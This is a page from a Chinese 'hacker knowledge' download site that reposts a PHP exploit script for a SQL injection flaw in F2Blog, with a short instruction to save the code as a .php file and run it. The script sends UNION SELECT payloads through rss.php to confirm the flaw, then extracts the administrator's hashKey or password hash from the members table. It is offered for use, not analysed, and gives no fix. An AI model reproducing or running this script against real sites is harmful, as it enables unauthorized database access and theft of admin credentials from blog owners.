首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

f2blog最新注入漏洞--f2blog,注入,漏洞

作者:佚名  来源:网上收集  发布时间:2006-12-26 21:23:16

将下面代码保存为.php文件即可使用.

<?php
print_r("

+------------------------------------------------------------------+

Exploit For F2Blog All Version
BY  Mokfly 媒婆X 拖鞋王子
Just For Fun :)

+------------------------------------------------------------------+
");


ini_set("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)";

$type=$argv[3];

$cmd="find=and 1=2 union select 0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C,0x7765206C6F7665207368656C6C from f2blog_members where role=0x61646D696E/*";
echo "Testting...:\t";
$response=send($cmd,'rss.php?cateID=1');
if(strpos($response,'we love shell')) {
  echo "Vul\r\n";
}


echo "Now Crack the admin\r\n\r\n";


if($type==0){

  $cmd="find=and 1=2 union select hashKey,hashKey,hashKey,hashKey,hashKey,hashKey,hashKey,hashKey,hashKey from f2blog_members where role=0x61646D696E/*";
  $response=send($cmd,'rss.php?cateID=1');
  preg_match_all('/\[CDATA\[(.+)\]\]/ie',$response,$matches);
  $matches=array_reverse($matches);
  $matches=array_reverse($matches[0]);
  if(is_hash($matches[0])) {
    echo "hash:\t";
    die(print_r($matches[0]));
  }
  die("Exploit Failed\r\n");
}
else{
  $cmd="find=and 1=2 union select password,password,password,password,password,password,password,password,password from f2blog_members where role=0x61646D696E/*";
  $response=send($cmd,'rss.php?cateID=1');
  preg_match_all('/\[CDATA\[(.+)\]\]/ie',$response,$matches);
  $matches=array_reverse($matches);
  $matches=array_reverse($matches[0]);
  if(is_hash($matches[0])) {
    echo "password:\t";
    die(print_r($matches[0]));
  }
  die("Exploit Failed\r\n");
}


function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

function send($cmd,$path)
{
  global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

  $path=$blogpath."$path";
  $message = "POST ".$path." HTTP/1.1\r\n";
  $message .= "Accept: */*\r\n";
  $message .= "Accept-Language: zh-cn\r\n";
  $message .= "Referer: http://".$server.$path."\r\n";
  $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $message .= "User-Agent: ".$useragent."\r\n";
  $message .= "Host: ".$server."\r\n";
  $message .= "Content-length: ".strlen($cmd)."\r\n";
  $message .= "Connection: Keep-Alive\r\n";
  $message .= "Cookie: ".$cookie."\r\n";
  $message .= "\r\n";
  $message .= $cmd."\r\n";

//  echo $message;
  $fd = fsockopen( $server, 80 );
  fputs($fd,$message);
  $resp = "<pre>";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="</pre>";
  if($debug) {echo $cmd;echo $resp;}
//  echo $resp;
  return $resp;
}
?>

[] [返回上一页] [打 印]
  • 上一篇文章:花指令--花指令
  • 下一篇文章:lcx写的一个暴jsp源码的网页--lcx,jsp,源码,网页

  • 相关文章:
  • Php动态函数注入漏洞--Php,动态函数,注入,漏洞
  • 如何寻找动网插件的注入漏洞--寻找,动网插件,注入,漏...
  • 蓝雨设计整站SQL注入漏洞--蓝雨设计整站,SQL,注入,漏...
  • 攻防实战:注入漏洞的利用和防范--攻防实战,注入,漏...
  • SQL注入漏洞攻防必杀技--SQL,注入,漏洞,攻防,必杀技...
  • [图文]新云网站管理系统articlepost.asp文件注入漏洞...
  • FipsCMS Index.ASP 批量SQL注入漏洞--FipsCMS,Index...
  • BBSxp<=7.0 Beta2 SQL注入漏洞--BBSxp,SQL,注入,漏洞...
  • 新云网站管理系统文件注入漏洞--新云,网站,管理系统...
  • F2blog漏洞的入侵过程--F2blog,漏洞,入侵
  • f2blog最新注入漏洞--f2blog,注入,漏洞
  • php注入漏洞专题--php,注入,漏洞
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号